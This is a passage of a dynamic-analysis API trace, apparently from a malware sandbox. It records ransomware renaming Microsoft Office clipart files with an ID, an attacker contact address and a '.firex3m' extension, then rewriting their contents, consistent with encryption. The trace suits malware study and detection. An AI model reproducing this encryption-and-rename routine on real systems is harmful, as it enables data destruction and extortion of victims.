cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0133.887] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fc6c | out: lpFindFileData=0x483fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd685b3d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00254_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BL0025~1.FIR")) returned 0x6d4e40 [0133.887] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0133.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0133.887] GetProcessHeap () returned 0x630000 [0133.887] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6e1) returned 0x6ff0118 [0133.887] GetProcessHeap () returned 0x630000 [0133.887] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6e1) returned 0x67e1a0 [0133.887] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.888] ReadFile (in: hFile=0x67c, lpBuffer=0x6ff0118, nNumberOfBytesToRead=0x6c0, lpNumberOfBytesRead=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ff0118*, lpNumberOfBytesRead=0x483ff0c*=0x6c0, lpOverlapped=0x0) returned 1 [0133.896] GetProcessHeap () returned 0x630000 [0133.896] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317a68 [0133.896] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.896] WriteFile (in: hFile=0x67c, lpBuffer=0x67e1a0*, nNumberOfBytesToWrite=0x6c0, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x67e1a0*, lpNumberOfBytesWritten=0x483ff0c*=0x6c0, lpOverlapped=0x0) returned 1 [0133.896] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.896] WriteFile (in: hFile=0x67c, lpBuffer=0x67e85f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x67e85f*, lpNumberOfBytesWritten=0x483ff0c*=0x20, lpOverlapped=0x0) returned 1 [0133.896] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.896] WriteFile (in: hFile=0x67c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x483ff0c*=0x4, lpOverlapped=0x0) returned 1 [0133.897] CloseHandle (hObject=0x67c) returned 1 [0133.898] GetProcessHeap () returned 0x630000 [0133.898] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x67e1a0 | out: hHeap=0x630000) returned 1 [0133.898] GetProcessHeap () returned 0x630000 [0133.898] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ff0118 | out: hHeap=0x630000) returned 1 [0133.898] GetProcessHeap () returned 0x630000 [0133.898] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317a68 | out: hHeap=0x630000) returned 1 [0133.898] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0133.898] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fcc4 | out: lpFindFileData=0x483fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15c0f367, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x6ec, dwReserved0=0xbac7496, dwReserved1=0x6ff0110, cFileName="BL00254_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BL0025~1.FIR")) returned 0x6d4f80 [0133.898] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0133.899] Sleep (dwMilliseconds=0x1) [0135.874] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF", len=0x44 | out: pbstr=0x483ff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 1 [0135.875] GetProcessHeap () returned 0x630000 [0135.875] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x670860, Size=0x260) returned 0x670860 [0135.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0135.875] CloseHandle (hObject=0x5ec) returned 1 [0135.875] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.875] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0135.876] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0135.876] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fc6c | out: lpFindFileData=0x483fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd744774, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb10, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00256_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DD0025~1.FIR")) returned 0x6d4f40 [0135.876] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0135.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0135.876] GetProcessHeap () returned 0x630000 [0135.876] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb21) returned 0x6f62f68 [0135.876] GetProcessHeap () returned 0x630000 [0135.876] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb21) returned 0x6e5368 [0135.876] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.876] ReadFile (in: hFile=0x5ec, lpBuffer=0x6f62f68, nNumberOfBytesToRead=0xb00, lpNumberOfBytesRead=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f62f68*, lpNumberOfBytesRead=0x483ff0c*=0xb00, lpOverlapped=0x0) returned 1 [0135.888] GetProcessHeap () returned 0x630000 [0135.888] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316e60 [0135.888] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.888] WriteFile (in: hFile=0x5ec, lpBuffer=0x6e5368*, nNumberOfBytesToWrite=0xb00, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e5368*, lpNumberOfBytesWritten=0x483ff0c*=0xb00, lpOverlapped=0x0) returned 1 [0135.888] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.888] WriteFile (in: hFile=0x5ec, lpBuffer=0x6e5e67*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e5e67*, lpNumberOfBytesWritten=0x483ff0c*=0x20, lpOverlapped=0x0) returned 1 [0135.888] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.888] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x483ff0c*=0x4, lpOverlapped=0x0) returned 1 [0135.888] CloseHandle (hObject=0x5ec) returned 1 [0135.889] GetProcessHeap () returned 0x630000 [0135.889] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e5368 | out: hHeap=0x630000) returned 1 [0135.889] GetProcessHeap () returned 0x630000 [0135.889] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f62f68 | out: hHeap=0x630000) returned 1 [0135.889] GetProcessHeap () returned 0x630000 [0135.889] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316e60 | out: hHeap=0x630000) returned 1 [0135.889] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0135.889] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fcc4 | out: lpFindFileData=0x483fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16f21fd9, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xb34, dwReserved0=0xbac7496, dwReserved1=0x6f62f60, cFileName="DD00256_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DD0025~1.FIR")) returned 0x6d5200 [0135.890] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0135.890] Sleep (dwMilliseconds=0x1) [0135.899] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF", len=0x44 | out: pbstr=0x483ff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 1 [0135.900] GetProcessHeap () returned 0x630000 [0135.900] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x670860, Size=0x25c) returned 0x670860 [0135.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0135.900] CloseHandle (hObject=0x5ec) returned 1 [0135.900] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.900] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0135.901] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0135.901] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fc6c | out: lpFindFileData=0x483fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd744774, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd744774, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa82, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00255_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DD0025~2.FIR")) returned 0x6d5540 [0135.901] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0135.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0135.901] GetProcessHeap () returned 0x630000 [0135.901] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xaa1) returned 0x6f62f68 [0135.901] GetProcessHeap () returned 0x630000 [0135.901] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xaa1) returned 0x6e5368 [0135.901] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.901] ReadFile (in: hFile=0x5ec, lpBuffer=0x6f62f68, nNumberOfBytesToRead=0xa80, lpNumberOfBytesRead=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f62f68*, lpNumberOfBytesRead=0x483ff0c*=0xa80, lpOverlapped=0x0) returned 1 [0135.913] GetProcessHeap () returned 0x630000 [0135.913] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316e60 [0135.913] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.913] WriteFile (in: hFile=0x5ec, lpBuffer=0x6e5368*, nNumberOfBytesToWrite=0xa80, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e5368*, lpNumberOfBytesWritten=0x483ff0c*=0xa80, lpOverlapped=0x0) returned 1 [0135.913] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.913] WriteFile (in: hFile=0x5ec, lpBuffer=0x6e5de7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e5de7*, lpNumberOfBytesWritten=0x483ff0c*=0x20, lpOverlapped=0x0) returned 1 [0135.913] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.913] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x483ff0c*=0x4, lpOverlapped=0x0) returned 1 [0135.913] CloseHandle (hObject=0x5ec) returned 1 [0135.914] GetProcessHeap () returned 0x630000 [0135.914] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e5368 | out: hHeap=0x630000) returned 1 [0135.914] GetProcessHeap () returned 0x630000 [0135.914] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f62f68 | out: hHeap=0x630000) returned 1 [0135.914] GetProcessHeap () returned 0x630000 [0135.914] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316e60 | out: hHeap=0x630000) returned 1 [0135.914] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0135.914] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fcc4 | out: lpFindFileData=0x483fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd744774, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd744774, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16f482c0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xaa6, dwReserved0=0xbac7496, dwReserved1=0x6f62f60, cFileName="DD00255_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DD0025~2.FIR")) returned 0x6d5200 [0135.914] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0135.914] Sleep (dwMilliseconds=0x1) [0137.807] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF", len=0x44 | out: pbstr=0x483ff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 1 [0137.808] GetProcessHeap () returned 0x630000 [0137.808] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6672f8, Size=0x45c) returned 0x6672f8 [0137.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0137.927] CloseHandle (hObject=0x640) returned 1 [0137.927] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.995] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0137.996] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0137.996] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fc6c | out: lpFindFileData=0x483fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00685_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HH0068~1.FIR")) returned 0x6d5200 [0137.996] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0137.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0137.997] GetProcessHeap () returned 0x630000 [0137.997] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfe1) returned 0x727d80 [0137.997] GetProcessHeap () returned 0x630000 [0137.997] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfe1) returned 0x6fb7a8 [0137.997] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.997] ReadFile (in: hFile=0x640, lpBuffer=0x727d80, nNumberOfBytesToRead=0xfc0, lpNumberOfBytesRead=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x727d80*, lpNumberOfBytesRead=0x483ff0c*=0xfc0, lpOverlapped=0x0) returned 1 [0138.013] GetProcessHeap () returned 0x630000 [0138.013] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318788 [0138.013] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.013] WriteFile (in: hFile=0x640, lpBuffer=0x6fb7a8*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fb7a8*, lpNumberOfBytesWritten=0x483ff0c*=0xfc0, lpOverlapped=0x0) returned 1 [0138.014] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.014] WriteFile (in: hFile=0x640, lpBuffer=0x6fc767*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fc767*, lpNumberOfBytesWritten=0x483ff0c*=0x20, lpOverlapped=0x0) returned 1 [0138.014] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.014] WriteFile (in: hFile=0x640, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x483ff0c*=0x4, lpOverlapped=0x0) returned 1 [0138.014] CloseHandle (hObject=0x640) returned 1 [0138.015] GetProcessHeap () returned 0x630000 [0138.015] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fb7a8 | out: hHeap=0x630000) returned 1 [0138.015] GetProcessHeap () returned 0x630000 [0138.015] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x727d80 | out: hHeap=0x630000) returned 1 [0138.015] GetProcessHeap () returned 0x630000 [0138.015] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318788 | out: hHeap=0x630000) returned 1 [0138.015] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.015] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fcc4 | out: lpFindFileData=0x483fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18356fdc, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xfe4, dwReserved0=0xbac7496, dwReserved1=0x727d78, cFileName="HH00685_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HH0068~1.FIR")) returned 0x6d5200 [0138.015] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0138.016] Sleep (dwMilliseconds=0x1) [0138.018] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01931J.JPG", len=0x44 | out: pbstr=0x483ff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01931J.JPG") returned 1 [0138.018] GetProcessHeap () returned 0x630000 [0138.018] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71d5490, Size=0x13b8) returned 0x71d5490 [0138.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01931J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01931j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0138.020] CloseHandle (hObject=0x640) returned 1 [0138.020] MultiByteToWideChar (in: 